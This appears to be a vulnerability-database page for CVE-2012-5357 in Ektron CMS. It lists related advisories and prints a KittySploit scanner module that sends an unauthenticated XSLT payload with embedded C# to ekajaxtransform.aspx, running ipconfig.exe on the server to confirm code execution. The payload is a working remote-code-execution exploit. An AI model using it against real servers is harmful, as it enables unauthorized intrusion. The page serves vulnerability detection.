Ektron CMS - ekajaxtransform XSLT RCE Detection (CVE-2012-5357)
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Ektron 8.02 XSLT Transform Remote Code Execution | 5 Dec 201200:00 | – | zdt | |
| CVE-2012-5357 | 5 Dec 201200:00 | – | circl | |
| Ektron XSLT Transform Remote Code Execution (CVE-2012-5357) | 21 Jul 201300:00 | – | checkpoint_advisories | |
| CVE-2012-5357 | 30 Oct 201714:00 | – | cve | |
| CVE-2012-5357 | 30 Oct 201714:00 | – | cvelist | |
| Ektron 8.02 - XSLT Transform Remote Code Execution (Metasploit) | 5 Dec 201200:00 | – | exploitdb | |
| Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution | 12 Dec 201200:00 | – | nessus | |
| EUVD-2012-5279 | 7 Oct 202500:30 | – | euvd | |
| Ektron 8.02 XSLT Transform Remote Code Execution | 16 Oct 201200:00 | – | metasploit | |
| Vulnerabilities in Ektron CMS Could Allow Arbitrary Code Execution | 16 Oct 201200:00 | – | msvr |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ektron CMS XSLT C# script RCE (CVE-2012-5357)."""
import re
from urllib.parse import quote
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Ektron CMS - ekajaxtransform XSLT RCE Detection (CVE-2012-5357)',
'description': (
'Detects CVE-2012-5357 by POSTing msxsl:script C# XSLT that runs '
'ipconfig.exe to ekajaxtransform.aspx.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2012', 'ektron', 'xslt', 'rce', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.2,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2012-5357',
],
'cve': 'CVE-2012-5357',
}
def run(self):
xslt = (
'<?xml version="1.0"?>\n'
'<xsl:stylesheet version="1.0"\n'
'xmlns:xsl="http://www.w3.org/1999/XSL/Transform"\n'
'xmlns:msxsl="urn:schemas-microsoft-com:xslt"\n'
'xmlns:user="http://mycompany.com/mynamespace">\n'
'<msxsl:script language="C#" implements-prefix="user">\n'
'<![CDATA[\n'
'public string xml()\n'
'{\n'
'System.Diagnostics.Process proc = new System.Diagnostics.Process();\n'
'proc.StartInfo.UseShellExecute = false;\n'
'proc.StartInfo.RedirectStandardOutput = true;\n'
'proc.StartInfo.FileName = "ipconfig.exe";\n'
'proc.Start();\n'
'proc.WaitForExit();\n'
'return proc.StandardOutput.ReadToEnd();\n'
'}\n'
']]>\n'
'</msxsl:script>\n'
'<xsl:template match="/">\n'
'<xsl:value-of select="user:xml()"/>\n'
'</xsl:template>\n'
'</xsl:stylesheet>'
)
data = 'xml=AAA&xslt=' + quote(xslt, safe='')
for base in ('/cms', '/cms400min', '/cms400.net', '/cms400', ''):
path = f'{base}/WorkArea/ContentDesigner/ekajaxtransform.aspx'
r = self.http_request(
method='POST',
path=path,
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if r and re.search(r'Windows.?IP.?onfiguration', r.text or '', re.I):
self.set_info(
severity='critical',
reason='Ektron XSLT RCE (CVE-2012-5357)',
path=path,
)
return True
return False
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10 Aug 2026 06:19Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 39.8
EPSS0.67776